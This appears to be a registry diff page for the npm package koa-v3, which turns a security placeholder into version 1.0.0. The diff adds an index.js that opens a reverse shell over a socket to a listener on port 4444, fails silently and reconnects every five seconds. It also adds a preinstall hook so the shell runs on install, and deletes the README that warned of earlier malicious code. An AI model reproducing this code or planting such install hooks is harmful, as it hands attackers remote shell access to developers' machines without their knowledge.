koa-v3 0.0.1-security → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of koa-v3 might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +29 -0
  2. package/package.json +10 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,29 @@
1
+ const net = require("net");
2
+ const { spawn } = require("child_process");
3
+
4
+ // SETTINGS: Your Kali IP and Port
5
+ const HOST = "127.0.0.1";
6
+ const PORT = 4444;
7
+
8
+ function connect() {
9
+ const client = new net.Socket();
10
+ client.connect(PORT, HOST, () => {
11
+ // Spawns a standard shell
12
+ const sh = spawn("/bin/sh", []);
13
+
14
+ // Pipes: Listener Input -> Shell Stdin | Shell Stdout/Err -> Listener
15
+ client.pipe(sh.stdin);
16
+ sh.stdout.pipe(client);
17
+ sh.stderr.pipe(client);
18
+
19
+ // Optional: Reconnect if the connection drops
20
+ sh.on('exit', () => client.destroy());
21
+ });
22
+
23
+ client.on('error', (e) => {
24
+ // Silent fail (standard for malware/PoCs to avoid alerting user)
25
+ setTimeout(connect, 5000);
26
+ });
27
+ }
28
+
29
+ connect();
package/package.json CHANGED
@@ -1,6 +1,13 @@
1
1
  {
2
2
  "name": "koa-v3",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "keywords": [],
11
+ "author": "",
12
+ "license": "ISC"
6
13
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=koa-v3 for more information.